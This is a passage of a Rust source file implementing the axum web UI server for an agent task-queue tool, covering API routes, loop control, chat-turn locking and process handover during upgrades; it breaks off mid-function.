1use std::collections::{HashMap, HashSet};
95use std::convert::Infallible;
96use std::net::{IpAddr, Ipv4Addr, SocketAddr};
97use std::path::{Path as FsPath, PathBuf};
98use std::pin::Pin;
99use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
100use std::time::Duration;
101use tokio::sync::Notify;
102
103use anyhow::{Context, Result};
104use axum::Json;
105use axum::Router;
106use axum::body::Bytes;
107use axum::extract::rejection::JsonRejection;
108use axum::extract::{DefaultBodyLimit, Path, Query, State};
109use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
110use axum::response::sse::{Event, KeepAlive, Sse};
111use axum::response::{IntoResponse, Response};
112use axum::routing::{get, post, put};
113use jiff::Timestamp;
114use serde::{Deserialize, Serialize};
115use tokio_stream::StreamExt as _;
116use tokio_stream::wrappers::ReceiverStream;
117
118use crate::agent;
119use crate::ask::{self, Answer, Question, Questions};
120use crate::config::{AgentKind, Config, Update, UpdateMode};
121use crate::md;
122use crate::notices::{Notice, Notices};
123use crate::persona;
124use crate::proc::Quiet as _;
125use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
126use crate::run::{RunState, RunStatus};
127use crate::talk::{Talk, Talks};
128use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
129
130pub const DEFAULT_PORT: u16 = 7878;
132
133const POLL: Duration = Duration::from_secs(1);
135
136const KEEPALIVE: Duration = Duration::from_secs(15);
140
141const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
152
153const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
156
157const LIST_DEFAULT: usize = 50;
161const LIST_MAX: usize = 500;
163
164const TITLE_MAX: usize = 72;
166
167const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
176
177const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
183
184const FILENAME_HEADER: &str = "x-filename";
188
189const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
212 font-src data:; base-uri 'none'; form-action 'none'; \
213 frame-ancestors 'self'";
214
215const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
216const APP_CSS: &str = include_str!("../assets/ui/app.css");
217const APP_JS: &str = include_str!("../assets/ui/app.js");
218
219#[derive(Debug, Clone, Copy, PartialEq, Eq)]
221pub enum Bind {
222 Auto,
224 Addr(IpAddr),
226}
227
228impl std::str::FromStr for Bind {
229 type Err = String;
230
231 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
235 if s.eq_ignore_ascii_case("auto") {
236 return Ok(Self::Auto);
237 }
238 s.parse()
239 .map(Self::Addr)
240 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
241 }
242}
243
244impl std::fmt::Display for Bind {
245 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
246 match self {
247 Self::Auto => f.write_str("auto"),
248 Self::Addr(addr) => write!(f, "{addr}"),
249 }
250 }
251}
252
253#[derive(Debug, Clone)]
255pub struct Opts {
256 pub bind: Bind,
258 pub port: u16,
260 pub repo: PathBuf,
262 pub open: bool,
265 pub merge: Option<String>,
273}
274
275impl Default for Opts {
276 fn default() -> Self {
277 Self {
278 bind: Bind::Auto,
279 port: DEFAULT_PORT,
280 repo: PathBuf::from("."),
281 open: false,
282 merge: None,
283 }
284 }
285}
286
287#[derive(Debug, Clone)]
293pub struct Ui {
294 queue: Queue,
295 questions: Questions,
296 notices: Notices,
299 talks: Talks,
300 runs: PathBuf,
301 home: PathBuf,
302 repo: PathBuf,
303 worktrees_root: PathBuf,
310 talk_turns: Arc<Mutex<TalkTurns>>,
318 upgrade_gate: Arc<tokio::sync::Mutex<()>>,
322 upgrade_spawned: Arc<std::sync::atomic::AtomicBool>,
325 resuming: Arc<Mutex<HashSet<String>>>,
333 repos_cache: repos::Cache,
337 machine_config: Option<PathBuf>,
341 merge: Option<String>,
343 looping: Arc<Mutex<LoopState>>,
345 launch: Launch,
357 #[cfg(test)]
360 busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
361}
362
363#[cfg(test)]
383struct BusyQueueGate {
384 reached: tokio::sync::oneshot::Sender<()>,
385 release: std::sync::mpsc::Receiver<()>,
386}
387
388#[cfg(test)]
389impl std::fmt::Debug for BusyQueueGate {
390 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
391 f.debug_struct("BusyQueueGate").finish_non_exhaustive()
392 }
393}
394
395impl Ui {
396 pub fn new(
398 queue: Queue,
399 questions: Questions,
400 talks: Talks,
401 runs: PathBuf,
402 home: PathBuf,
403 repo: PathBuf,
404 ) -> Self {
405 Self {
406 queue,
407 questions,
408 notices: Notices::at(home.join("notifications")),
409 talks,
410 runs,
411 home,
412 repo,
413 worktrees_root: run::default_worktree_root(),
417 talk_turns: Arc::default(),
418 upgrade_gate: Arc::default(),
419 upgrade_spawned: Arc::default(),
420 resuming: Arc::default(),
421 repos_cache: repos::Cache::new(),
422 machine_config: Config::machine_layer(),
423 merge: None,
424 looping: Arc::default(),
425 launch: launch_daemon,
426 #[cfg(test)]
427 busy_queue_gate: Arc::default(),
428 }
429 }
430
431 pub fn open(repo: PathBuf) -> Self {
434 Self::new(
435 Queue::open(),
436 Questions::open(),
437 Talks::open(),
438 run::runs_root(),
439 run::home(),
440 repo,
441 )
442 }
443
444 #[must_use]
451 pub fn with_merge(mut self, merge: Option<String>) -> Self {
452 self.merge = merge;
453 self
454 }
455
456 #[cfg(test)]
459 #[must_use]
460 fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
461 self.machine_config = path;
462 self
463 }
464
465 #[must_use]
470 pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
471 self.worktrees_root = root;
472 self
473 }
474
475 #[cfg(test)]
480 #[must_use]
481 fn with_launch(mut self, launch: Launch) -> Self {
482 self.launch = launch;
483 self
484 }
485
486 #[cfg(test)]
496 fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
497 *self
498 .busy_queue_gate
499 .lock()
500 .unwrap_or_else(PoisonError::into_inner) = Some(gate);
501 }
502
503 fn looping(&self) -> Arc<Mutex<LoopState>> {
505 Arc::clone(&self.looping)
506 }
507
508 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
515 if let Some(other) = foreign {
516 return Err(ApiError::conflict(format!(
517 "{} is already running the loop, so this one will not start a \
518 second: two loops on one queue race for the same claims and \
519 burn the agent quota twice over. Stop it where it was \
520 started.",
521 other.who()
522 )));
523 }
524 let mut state = self.lock_loop();
525 if state.live.as_ref().is_some_and(Live::alive) {
526 return Err(ApiError::conflict(format!(
527 "this magi web process (pid {}) is already running the loop",
528 std::process::id()
529 )));
530 }
531
532 let stop = daemon::Stop::new();
533 let opts = daemon::Opts {
537 repo: self.repo.clone(),
538 merge: self.merge.clone(),
539 worktrees_root: Some(self.worktrees_root.clone()),
546 ..daemon::Opts::default()
547 };
548 let launch = self.launch;
549 let looping = Arc::clone(&self.looping);
550 let handle = tokio::spawn({
551 let opts = opts.clone();
552 let stop = stop.clone();
553 async move {
554 let failure = match launch(opts, stop).await {
555 Ok(()) => None,
556 Err(e) => Some(format!("{e:#}")),
557 };
558 match &failure {
559 Some(why) => tracing::error!("the loop stopped: {why}"),
560 None => tracing::info!("the loop stopped"),
561 }
562 let mut state = lock_or_recover(&looping);
568 state.live = None;
569 state.last_error = failure;
570 state.rev += 1;
571 }
572 });
573 tracing::info!(
574 "the loop is now running in this process: repo {}, merge {}",
575 opts.repo.display(),
576 opts.merge.as_deref().unwrap_or("as the config says")
577 );
578 state.live = Some(Live { stop, handle, opts });
579 state.last_error = None;
582 state.rev += 1;
583 Ok(())
584 }
585
586 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
592 if let Some(other) = foreign {
593 return Err(ApiError::conflict(format!(
594 "the loop belongs to {}, and this process cannot stop it - \
595 stop it where it was started. A button that silently did \
596 nothing would be worse than this refusal.",
597 other.who()
598 )));
599 }
600 let mut state = self.lock_loop();
601 if !park {
604 state.resume_after_handover = false;
605 }
606 let Some(live) = state.live.as_ref() else {
607 return Ok(());
608 };
609 if live.stop.stopped() && (!park || live.stop.parking()) {
613 return Ok(());
614 }
615 if park {
616 live.stop.park();
617 tracing::info!("the loop was asked to park; the run stops at its next node boundary");
618 } else {
619 live.stop.stop();
620 tracing::info!("the loop was asked to stop; a run in flight is finished first");
621 }
622 state.rev += 1;
623 Ok(())
624 }
625
626 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
633 let state = self.lock_loop();
634 let live = state.live.as_ref().filter(|live| live.alive());
637 LoopView {
638 running: live.is_some(),
639 stopping: live.is_some_and(|live| live.stop.finishing()),
640 parking: live.is_some_and(|live| live.stop.parking()),
641 owned: live.is_some(),
642 repo: live
643 .map_or(&self.repo, |live| &live.opts.repo)
644 .display()
645 .to_string(),
646 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
647 last_error: state.last_error.clone(),
648 daemon: DaemonView::of(reading),
649 }
650 }
651
652 fn resume_after_handover(&self, resume: bool) -> bool {
658 if !resume {
659 return false;
660 }
661 let foreign = Foreign::of(daemon::read_status(&self.home).as_ref());
662 match self.start_loop(foreign) {
663 Ok(()) => true,
664 Err(e) => {
665 let why = format!(
666 "the loop could not be resumed after the upgrade: {}",
667 e.message
668 );
669 tracing::warn!("{why}");
670 let mut state = self.lock_loop();
671 state.last_error = Some(why);
672 state.rev += 1;
673 false
674 }
675 }
676 }
677
678 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
680 lock_or_recover(&self.looping)
681 }
682
683 fn is_thinking(&self, id: &str) -> bool {
689 self.talk_turns
690 .lock()
691 .is_ok_and(|turns| turns.live.contains(id))
692 || self.talks.turn_held(id)
695 }
696
697 fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
716 self.claim_talk_turn(id, false)
717 }
718
719 fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
722 self.claim_talk_turn(id, true)
723 }
724
725 fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
726 let mut live = self
727 .talk_turns
728 .lock()
729 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
730 if live.parking {
731 if queued {
732 *live.queued.entry(id.to_owned()).or_default() += 1;
735 return Ok(None);
736 }
737 return Err(ApiError::conflict(UPGRADE_IN_PROGRESS));
738 }
739 let inserted = live.live.insert(id.to_owned());
740 let lease = if inserted {
744 match self.talks.claim_turn(id) {
745 Ok(Some(lease)) => Some(lease),
746 Ok(None) => {
747 live.live.remove(id);
748 None
749 }
750 Err(e) => {
751 live.live.remove(id);
752 return Err(ApiError::from(e));
753 }
754 }
755 } else {
756 None
757 };
758 if lease.is_none() {
759 if queued {
760 *live.queued.entry(id.to_owned()).or_default() += 1;
765 }
766 return Ok(None);
767 }
768 Ok(Some(TalkTurnGuard {
769 talk: id.to_owned(),
770 turns: Arc::clone(&self.talk_turns),
771 released: false,
772 lease,
773 }))
774 }
775
776 fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
781 let mut live = self
782 .talk_turns
783 .lock()
784 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
785 if live.parking || live.live.contains(id) {
787 return Ok(TalkTurnStart::Busy);
788 }
789 let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
790 return Ok(TalkTurnStart::Foreign);
791 };
792 let talk = self.talks.get(id).map_err(ApiError::from)?;
794 if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
795 return Ok(TalkTurnStart::Pending);
796 }
797 live.live.insert(id.to_owned());
798 Ok(TalkTurnStart::Claimed(TalkTurnGuard {
799 talk: id.to_owned(),
800 turns: Arc::clone(&self.talk_turns),
801 released: false,
802 lease: Some(lease),
803 }))
804 }
805
806 fn turns(&self) -> Arc<Mutex<TalkTurns>> {
808 Arc::clone(&self.talk_turns)
809 }
810
811 fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
818 let parking = {
819 let mut state = self.lock_loop();
820 let resume = state.resume_after_handover
830 || state
831 .live
832 .as_ref()
833 .is_some_and(|live| live.alive() && !live.stop.stopped());
834 state.resume_after_handover = resume;
835 let Some(live) = state.live.as_ref() else {
836 return Ok(None);
837 };
838 let busy = live.stop.busy_now();
839 live.stop.park();
840 state.rev += 1;
841 busy
842 };
843 Ok(if parking {
844 daemon::current_work(&self.home, jiff::Timestamp::now())
849 .into_iter()
850 .next()
851 .map(|c| c.run)
852 } else {
853 None
854 })
855 }
856
857 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
861 let mut live = self
862 .resuming
863 .lock()
864 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
865 if !live.insert(id.to_owned()) {
866 return Err(ApiError::conflict(format!(
867 "run {id} is already being resumed"
868 )));
869 }
870 Ok(ResumeGuard {
871 run: id.to_owned(),
872 resuming: Arc::clone(&self.resuming),
873 })
874 }
875
876 pub fn router(self) -> Router {
884 Router::new()
885 .route("/", get(index))
886 .route("/app.css", get(app_css))
887 .route("/app.js", get(app_js))
888 .route("/api/health", get(health))
889 .route("/api/loop", get(loop_get).post(loop_post))
890 .route("/api/upgrade", post(upgrade_post))
891 .route("/api/runs", get(runs_list))
892 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
893 .route("/api/runs/{id}/report", get(run_report))
894 .route("/api/runs/{id}/report.json", get(run_report_json))
895 .route("/api/runs/{id}/fold", post(run_fold))
896 .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
897 .route("/api/runs/{id}/resume", post(run_resume))
898 .route("/api/queue", get(queue_list))
899 .route("/api/search", get(search_get))
900 .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
901 .route("/api/stats", get(stats_get))
902 .route("/api/repos", get(repos_list))
903 .route("/api/settings", get(settings_get))
904 .route("/api/settings/roles", put(settings_put_roles))
905 .route("/api/queue/{id}/hold", post(queue_hold))
906 .route("/api/queue/{id}/release", post(queue_release))
907 .route("/api/queue/{id}/priority", post(queue_priority))
908 .route("/api/queue/{id}/edit", post(queue_edit))
909 .route("/api/queue/{id}/done", post(queue_done))
910 .route("/api/questions", get(questions_list))
911 .route("/api/questions/{id}/answer", post(question_answer))
912 .route("/api/questions/{id}/say", post(question_say))
913 .route("/api/questions/{id}/consult", post(question_consult))
914 .route("/api/questions/{id}/panel", get(question_panel))
915 .route("/api/questions/{id}/panel/index.html", get(question_panel))
923 .route("/api/questions/{id}/panel/{name}", get(question_asset))
924 .route("/api/questions/{id}/asset/{name}", get(question_asset))
925 .route("/api/notifications", get(notifications_list))
926 .route("/api/notifications/read-all", post(notifications_read_all))
927 .route("/api/notifications/{id}/read", post(notification_read))
928 .route(
929 "/api/notifications/{id}/dismiss",
930 post(notification_dismiss),
931 )
932 .route("/api/talks", get(talks_list).post(talk_post))
933 .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
934 .route("/api/talks/{id}/say", post(talk_say))
935 .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
936 .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
937 .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
938 .route("/api/talks/{id}/agent", post(talk_agent))
939 .route("/api/talks/{id}/persona", post(talk_persona))
940 .route("/api/talks/{id}/implementers", post(talk_implementers))
941 .route("/api/talks/{id}/close", post(talk_close))
942 .route("/api/talks/{id}/reopen", post(talk_reopen))
943 .route(
949 "/api/talks/{id}/attachments",
950 post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
951 )
952 .route(
953 "/api/talks/{id}/attachments/{att}",
954 get(talk_attachment_get),
955 )
956 .route("/api/events", get(events))
957 .with_state(Arc::new(self))
958 }
959}
960
961const UPGRADE_IN_PROGRESS: &str = "upgrade in progress, try again in a moment";
964
965#[derive(Debug)]
971struct TalkTurnGuard {
972 talk: String,
973 turns: Arc<Mutex<TalkTurns>>,
974 released: bool,
975 lease: Option<crate::talk::TurnLease>,
977}
978
979#[derive(Debug, Default)]
986struct TalkTurns {
987 live: HashSet<String>,
988 queued: HashMap<String, u64>,
989 parking: bool,
993}
994
995enum TalkTurnStart {
998 Claimed(TalkTurnGuard),
999 Busy,
1000 Foreign,
1003 Pending,
1004}
1005
1006impl TalkTurnGuard {
1007 fn owns(&self) -> bool {
1011 self.lease
1012 .as_ref()
1013 .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1014 }
1015
1016 async fn respond(
1019 &self,
1020 talk: &mut Talk,
1021 talks: &Talks,
1022 cfg: &Config,
1023 text: &str,
1024 ) -> anyhow::Result<()> {
1025 let lease = self
1026 .lease
1027 .as_ref()
1028 .context("the turn guard no longer holds its lease")?;
1029 talk::respond(lease, talk, talks, cfg, text).await
1030 }
1031
1032 fn release(mut self, live: &mut TalkTurns) {
1035 self.lease = None;
1039 live.live.remove(&self.talk);
1040 live.queued.remove(&self.talk);
1041 self.released = true;
1042 }
1043}
1044
1045impl Drop for TalkTurnGuard {
1046 fn drop(&mut self) {
1047 if self.released {
1048 return;
1049 }
1050 drop(self.lease.take());
1052 if let Ok(mut live) = self.turns.lock() {
1053 live.live.remove(&self.talk);
1054 live.queued.remove(&self.talk);
1055 }
1056 }
1057}
1058
1059struct ResumeGuard {
1061 run: String,
1062 resuming: Arc<Mutex<HashSet<String>>>,
1063}
1064
1065impl Drop for ResumeGuard {
1066 fn drop(&mut self) {
1067 if let Ok(mut live) = self.resuming.lock() {
1068 live.remove(&self.run);
1069 }
1070 }
1071}
1072
1073async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1083 const WINDOW: Duration = Duration::from_secs(10);
1084 const GAP: Duration = Duration::from_millis(250);
1085
1086 let deadline = std::time::Instant::now() + WINDOW;
1087 let mut said = false;
1088 loop {
1089 match tokio::net::TcpListener::bind(socket).await {
1090 Ok(listener) => return Ok(listener),
1091 Err(e)
1092 if e.kind() == std::io::ErrorKind::AddrInUse
1093 && std::time::Instant::now() < deadline =>
1094 {
1095 if !said {
1096 said = true;
1097 tracing::info!(
1098 "{socket} is still held - waiting up to {}s for it, \
1099 which is what a restart looks like from here",
1100 WINDOW.as_secs()
1101 );
1102 }
1103 tokio::time::sleep(GAP).await;
1104 }
1105 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1106 }
1107 }
1108}
1109
1110static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1113
1114const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1116
1117fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1119 value.is_some_and(|v| v == "1")
1120}
1121
1122fn spawn_successor(home: &FsPath, resume: bool) -> Result<u32> {
1145 let exe = std::env::current_exe().context("find this binary")?;
1146 let args: Vec<String> = std::env::args().skip(1).collect();
1147 updater::log_step(
1148 home,
1149 &format!("restarting: {} {}", exe.display(), args.join(" ")),
1150 );
1151 let log_path = home.join(WEB_LOG);
1152 let open_log = || {
1153 std::fs::create_dir_all(home)?;
1154 std::fs::OpenOptions::new()
1155 .create(true)
1156 .append(true)
1157 .open(&log_path)
1158 };
1159 let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1160 Ok(pair) => (
1161 std::process::Stdio::from(pair.0),
1162 std::process::Stdio::from(pair.1),
1163 ),
1164 Err(e) => {
1165 updater::log_warn(
1166 home,
1167 &format!(
1168 "could not open {}: {e}; the successor logs nowhere",
1169 log_path.display()
1170 ),
1171 );
1172 (std::process::Stdio::null(), std::process::Stdio::null())
1173 }
1174 };
1175
1176 let mut cmd = std::process::Command::new(&exe);
1177 if resume {
1178 cmd.env(RESUME_LOOP_ENV, "1");
1179 } else {
1180 cmd.env_remove(RESUME_LOOP_ENV);
1181 }
1182 cmd.args(&args)
1183 .stdin(std::process::Stdio::null())
1184 .stdout(out)
1185 .stderr(err);
1186 #[cfg(windows)]
1187 {
1188 use std::os::windows::process::CommandExt as _;
1189 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1192 }
1193 let child = cmd.spawn().context("start the successor")?;
1194 Ok(child.id())
1195}
1196
1197const WEB_LOG: &str = "web.log";
1199
1200async fn wait_for_handover(signal: &Notify) {
1204 signal.notified().await;
1205}
1206
1207pub async fn serve(opts: Opts) -> Result<()> {
1232 let (addr, warning) = resolve_bind(&opts.bind);
1233 if let Some(warning) = warning {
1234 tracing::warn!("{warning}");
1235 }
1236
1237 report::set_color(false);
1243
1244 let repo = normalize_default_repo(opts.repo).await;
1245 let ui = Ui::open(repo).with_merge(opts.merge);
1246 let home = ui.home.clone();
1251 let repo = ui.repo.clone();
1252 updater::reconcile_after_restart(&home);
1257 updater::log_step(
1258 &home,
1259 &format!(
1260 "web process started (version {}); handover log {}, successor output {}",
1261 env!("CARGO_PKG_VERSION"),
1262 updater::log_path(&home).display(),
1263 home.join(WEB_LOG).display()
1264 ),
1265 );
1266 updater::spawn_watchdog(home.clone());
1267 tokio::spawn(run_update_recheck(repo, home.clone()));
1276 let looping = ui.looping();
1277 let turns = ui.turns();
1278 let talk_store = ui.talks.clone();
1279 let socket = SocketAddr::new(addr, opts.port);
1280 let listener = bind_waiting(socket).await?;
1281 let url = format!("http://{addr}:{}", opts.port);
1282 tracing::info!(
1283 "magi web UI on {url} - there is no authentication, so anyone who can \
1284 reach this address can file and hold tasks: the tailnet is the \
1285 security boundary"
1286 );
1287 if ui.resume_after_handover(resume_requested(std::env::var_os(RESUME_LOOP_ENV))) {
1288 tracing::info!("resumed the loop the predecessor was running");
1289 } else {
1290 tracing::info!(
1291 "the queue loop is not running yet - start it from the UI, which is \
1292 the whole reason this process can: nothing in the queue moves until \
1293 something is running the loop"
1294 );
1295 }
1296 if opts.open {
1297 println!("{url}");
1301 }
1302
1303 let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1306 let interrupted = async {
1307 if tokio::signal::ctrl_c().await.is_err() {
1308 std::future::pending::<()>().await;
1313 }
1314 };
1315 let handover = wait_for_handover(&HANDOVER);
1316 let outcome = tokio::select! {
1317 joined = &mut served => match joined {
1318 Ok(outcome) => outcome.context("serve the web UI"),
1319 Err(e) => Err(e).context("the task serving the web UI ended"),
1320 },
1321 () = interrupted => {
1322 tracing::info!("shutting down the web UI");
1323 finish_loop(&home, &looping, None).await;
1324 Ok(())
1325 }
1326 () = handover => {
1327 updater::log_step(&home, "serve: the select! woke on the handover signal");
1328 let successor_home = home.clone();
1329 let wait_for = move |ids: &[String]| talk_wait_for(&talk_store, ids);
1330 hand_over(&home, &looping, &turns, &wait_for, served, move |resume| {
1331 spawn_successor(&successor_home, resume)
1332 })
1333 .await
1334 }
1335 };
1336 updater::log_step(
1337 &home,
1338 &match &outcome {
1339 Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
1340 Err(e) => format!("serve: returning an error: {e:#}"),
1341 },
1342 );
1343 outcome
1344}
1345
1346async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1367 if repo != FsPath::new(".") {
1368 return repo;
1369 }
1370 let Ok(canonical) = repo.canonicalize() else {
1371 return repo;
1372 };
1373 if git::toplevel(&canonical).await.is_ok() {
1374 return repo;
1375 }
1376 let Some(home) = dirs::home_dir() else {
1377 return repo;
1378 };
1379 match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1380 Some(found) => {
1381 tracing::info!(
1382 "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1383 canonical.display(),
1384 found.path.display(),
1385 found.reason,
1386 );
1387 found.path
1388 }
1389 None => repo,
1390 }
1391}
1392
1393async fn hand_over(
1423 home: &FsPath,
1424 looping: &Mutex<LoopState>,
1425 turns: &Arc<Mutex<TalkTurns>>,
1426 talk_wait: &(dyn Fn(&[String]) -> Duration + Sync),
1427 served: tokio::task::JoinHandle<std::io::Result<()>>,
1428 successor: impl FnOnce(bool) -> Result<u32>,
1429) -> Result<()> {
1430 updater::log_step(home, "hand_over: entered; writing the parking stage");
1431 let (mut lease, recorded) = updater::LeaseGuard::enter_parking(home);
1435 if !recorded {
1436 updater::log_warn(
1437 home,
1438 "hand_over: upgrade.json is unreadable; no parking stage",
1439 );
1440 }
1441 finish_loop(home, looping, Some(&mut lease)).await;
1446 let parking = ParkingTurns::begin(turns);
1447 let talks_done = finish_talks(home, turns, talk_wait);
1448 tokio::pin!(talks_done);
1449 let mut beat = tokio::time::interval(LEASE_BEAT);
1450 let (abandoned, waited_for) = loop {
1451 tokio::select! {
1452 left = &mut talks_done => break left,
1453 _ = beat.tick() => lease.beat(),
1454 }
1455 };
1456 drop(lease);
1457 updater::log_step(home, "hand_over: releasing the listener (abort and await)");
1458 served.abort();
1459 let _ = served.await;
1460 updater::log_step(home, "hand_over: listener released");
1461 let resume = lock_or_recover(looping).resume_after_handover;
1464 match updater::read_progress(home) {
1465 Some(mut progress) => {
1466 progress.advance(updater::Stage::Restarting);
1467 if !abandoned.is_empty() {
1468 progress.detail = Some(format!(
1469 "handed over while {} still running after {} s",
1470 updater::talks_phrase(&abandoned),
1471 waited_for.as_secs()
1472 ));
1473 }
1474 updater::write_progress_logged(home, &progress);
1475 }
1476 None => updater::log_warn(
1477 home,
1478 "hand_over: upgrade.json is unreadable; no restarting stage",
1479 ),
1480 }
1481 updater::log_step(
1482 home,
1483 &format!("hand_over: starting the successor (resume={resume})"),
1484 );
1485 drop(parking);
1486 match successor(resume) {
1487 Ok(pid) => {
1488 updater::log_step(home, &format!("hand_over: successor started, pid {pid}"));
1489 Ok(())
1490 }
1491 Err(e) => {
1492 updater::log_warn(
1493 home,
1494 &format!("hand_over: the successor did not start: {e:#}"),
1495 );
1496 Err(e)
1497 }
1498 }
1499}
1500
1501const TALK_PARK_GRACE: Duration = Duration::from_secs(60);
1504
1505const TALK_POLL: Duration = Duration::from_millis(250);
1507
1508fn talk_wait_bound(timeout_talk_secs: u64) -> Duration {
1511 Duration::from_secs(timeout_talk_secs) + TALK_PARK_GRACE
1512}
1513
1514fn talk_wait_for(talks: &Talks, ids: &[String]) -> Duration {
1519 let default = Config::default().graph.timeout_talk;
1520 let longest = ids
1521 .iter()
1522 .map(|id| {
1523 talks
1524 .get(id)
1525 .ok()
1526 .and_then(|t| Config::discover(&t.repo, None).ok())
1527 .map_or(default, |(c, _)| c.graph.timeout_talk)
1528 })
1529 .max()
1530 .unwrap_or(default);
1531 talk_wait_bound(longest)
1532}
1533
1534struct ParkingTurns(Arc<Mutex<TalkTurns>>);
1538
1539impl ParkingTurns {
1540 fn begin(turns: &Arc<Mutex<TalkTurns>>) -> Self {
1541 turns.lock().unwrap_or_else(PoisonError::into_inner).parking = true;
1542 Self(Arc::clone(turns))
1543 }
1544}
1545
1546impl Drop for ParkingTurns {
1547 fn drop(&mut self) {
1548 self.0
1549 .lock()
1550 .unwrap_or_else(PoisonError::into_inner)
1551 .parking = false;
1552 }
1553}
1554
1555async fn finish_talks(
1560 home: &FsPath,
1561 turns: &Mutex<TalkTurns>,
1562 bound_for: &(dyn Fn(&[String]) -> Duration + Sync),
1563) -> (Vec<String>, Duration) {
1564 let running = || {
1565 let mut ids: Vec<String> = turns
1566 .lock()
1567 .unwrap_or_else(PoisonError::into_inner)
1568 .live
1569 .iter()
1570 .cloned()
1571 .collect();
1572 let talks = talk::Talks::at(home.join("talks"));
1575 for t in talks.list() {
1576 if talks.turn_held(&t.id) && !ids.contains(&t.id) {
1577 ids.push(t.id);
1578 }
1579 }
1580 ids.sort();
1581 ids
1582 };
1583 let started = std::time::Instant::now();
1584 let mut seen = Vec::new();
1585 let mut bound = Duration::ZERO;
1586 loop {
1587 let ids = running();
1588 if ids != seen {
1589 bound = bound.max(bound_for(&ids));
1590 if ids.is_empty() {
1591 updater::log_step(home, "finish_talks: no chat turn is running");
1592 } else {
1593 updater::log_step(
1594 home,
1595 &format!(
1596 "finish_talks: waiting for {} to finish",
1597 updater::talks_phrase(&ids)
1598 ),
1599 );
1600 }
1601 updater::set_parked_talks(home, &ids);
1602 seen = ids;
1603 }
1604 if seen.is_empty() {
1605 return (Vec::new(), bound);
1606 }
1607 if started.elapsed() >= bound {
1608 updater::log_warn(
1609 home,
1610 &format!(
1611 "finish_talks: {} still running after {} s; handing over anyway",
1612 updater::talks_phrase(&seen),
1613 bound.as_secs()
1614 ),
1615 );
1616 return (seen, bound);
1617 }
1618 tokio::time::sleep(TALK_POLL).await;
1619 }
1620}
1621
1622const LEASE_BEAT: Duration = Duration::from_secs(20);
1625
1626async fn finish_loop(
1633 home: &FsPath,
1634 state: &Mutex<LoopState>,
1635 mut lease: Option<&mut updater::LeaseGuard>,
1636) {
1637 let live = lock_or_recover(state).live.take();
1638 let Some(live) = live else {
1639 updater::log_step(home, "finish_loop: no loop running; nothing to wait for");
1640 return;
1641 };
1642 live.stop.stop();
1643 lock_or_recover(state).rev += 1;
1644 updater::log_step(
1645 home,
1646 "finish_loop: waiting for the loop to finish the run in flight",
1647 );
1648 let waited = std::time::Instant::now();
1649 let mut handle = live.handle;
1652 let mut beat = tokio::time::interval(LEASE_BEAT);
1653 loop {
1654 tokio::select! {
1655 _ = &mut handle => break,
1656 _ = beat.tick() => {
1657 if let Some(lease) = lease.as_deref_mut() {
1658 lease.beat();
1659 }
1660 }
1661 }
1662 }
1663 updater::log_step(
1664 home,
1665 &format!(
1666 "finish_loop: the loop ended after {:.1}s",
1667 waited.elapsed().as_secs_f32()
1668 ),
1669 );
1670}
1671
1672pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1678 match bind {
1679 Bind::Addr(addr) => (*addr, None),
